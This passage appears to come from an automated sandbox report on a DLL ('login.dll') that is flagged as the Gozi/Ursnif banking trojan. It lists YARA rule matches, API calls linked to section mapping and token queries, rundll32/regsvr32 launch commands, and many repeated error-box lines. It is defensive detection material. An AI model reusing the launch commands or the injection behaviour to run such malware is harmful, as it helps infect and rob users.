      Source: Process Memory Space: loaddll32.exe PID: 160, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: Process Memory Space: loaddll32.exe PID: 160, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: Process Memory Space: regsvr32.exe PID: 5424, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: Process Memory Space: regsvr32.exe PID: 5424, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: Process Memory Space: rundll32.exe PID: 5428, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: Process Memory Space: rundll32.exe PID: 5428, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: Process Memory Space: rundll32.exe PID: 5328, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: Process Memory Space: rundll32.exe PID: 5328, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E522A40_2_00E522A4
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB8C1400_2_6CB8C140
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C16DF0_2_027C16DF
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C832C0_2_027C832C
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C1D8A0_2_027C1D8A
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D722A43_2_00D722A4
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D816DF3_2_00D816DF
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D81D8A3_2_00D81D8A
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D8832C3_2_00D8832C
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_0318832C4_2_0318832C
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_03181D8A4_2_03181D8A
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_031816DF4_2_031816DF
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C822A45_2_02C822A4
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C916DF5_2_02C916DF
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C91D8A5_2_02C91D8A
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C9832C5_2_02C9832C
      Source: C:\Windows\System32\loaddll32.exeCode function: String function: 6CB8B1D0 appears 34 times
      Source: C:\Windows\System32\loaddll32.exeCode function: String function: 6CB72490 appears 51 times
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E51E76 GetProcAddress,NtCreateSection,memset,0_2_00E51E76
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E5205B NtMapViewOfSection,0_2_00E5205B
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E51226 SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,0_2_00E51226
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E524C5 NtQueryVirtualMemory,0_2_00E524C5
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C421F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,0_2_027C421F
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C8551 NtQueryVirtualMemory,0_2_027C8551
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00AE0D8D NtFreeVirtualMemory,0_2_00AE0D8D
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00AE0D2E NtAllocateVirtualMemory,0_2_00AE0D2E
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D7205B NtMapViewOfSection,3_2_00D7205B
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D71E76 GetProcAddress,NtCreateSection,memset,3_2_00D71E76
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D71226 SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,3_2_00D71226
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D724C5 NtQueryVirtualMemory,3_2_00D724C5
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D8421F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,3_2_00D8421F
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D88551 NtQueryVirtualMemory,3_2_00D88551
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_0318421F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,4_2_0318421F
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_03188551 NtQueryVirtualMemory,4_2_03188551
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C8205B NtMapViewOfSection,5_2_02C8205B
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C81E76 GetProcAddress,NtCreateSection,memset,5_2_02C81E76
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C81226 SetThreadPriority,NtQuerySystemInformation,Sleep,GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,5_2_02C81226
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C824C5 NtQueryVirtualMemory,5_2_02C824C5
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C9421F NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,5_2_02C9421F
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C98551 NtQueryVirtualMemory,5_2_02C98551
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04970D8D NtFreeVirtualMemory,5_2_04970D8D
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04970D2E NtAllocateVirtualMemory,5_2_04970D2E
      Source: login.dllBinary or memory string: OriginalFilenameavguard_ld.exeJ vs login.dll
      Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
      Source: login.dllReversingLabs: Detection: 15%
      Source: login.dllVirustotal: Detection: 20%
      Source: login.dllStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\login.dll"
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\login.dll",#1
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\login.dll
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\login.dll",#1
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\login.dll,DllRegisterServer
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\login.dll",#1Jump to behavior
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\login.dllJump to behavior
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\login.dll,DllRegisterServerJump to behavior
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\login.dll",#1Jump to behavior
      Source: C:\Windows\System32\loaddll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
      Source: classification engineClassification label: mal96.troj.evad.winDLL@10/0@8/3
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C30D5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,0_2_027C30D5
      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\login.dll",#1
      Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5016:120:WilError_01
      Source: C:\Windows\System32\loaddll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\System32\loaddll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
      Source: login.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
      Source: login.dllStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E52240 push ecx; ret 0_2_00E52249
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E52293 push ecx; ret 0_2_00E522A3
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_6CB98773 push ecx; ret 0_2_6CB98786
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C7F30 push ecx; ret 0_2_027C7F39
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_027C831B push ecx; ret 0_2_027C832B
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D72240 push ecx; ret 3_2_00D72249
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D72293 push ecx; ret 3_2_00D722A3
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D8831B push ecx; ret 3_2_00D8832B
      Source: C:\Windows\SysWOW64\regsvr32.exeCode function: 3_2_00D87F30 push ecx; ret 3_2_00D87F39
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_0318831B push ecx; ret 4_2_0318832B
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_03187F30 push ecx; ret 4_2_03187F39
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C82240 push ecx; ret 5_2_02C82249
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C82293 push ecx; ret 5_2_02C822A3
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C9831B push ecx; ret 5_2_02C9832B
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_02C97F30 push ecx; ret 5_2_02C97F39
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_00E51CEB LoadLibraryA,GetProcAddress,0_2_00E51CEB
      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\login.dll

      Hooking and other Techniques for Hiding and Protection

      barindex
      Yara detected Ursnif
      Source: Yara matchFile source: 00000004.00000003.398831373.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412776083.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.398945835.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387396070.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397345269.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397199410.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412883233.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387319032.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412869675.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.398962780.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397378270.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.561186550.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387343689.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396708621.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412809075.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396427304.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387415941.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412835035.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412856199.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396564542.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412645038.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387368251.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000002.637872273.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396732281.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387292320.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397631846.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000002.637785610.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387258368.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.387447974.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.585436522.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.397341091.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.397364016.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396516441.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000002.637851099.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.397466775.00000000057C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000002.637845180.0000000005428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.396477163.00000000038C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.412707045.00000000050E8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: loaddll32.exe PID: 160, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 5424, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5428, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5328, type: MEMORYSTR
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
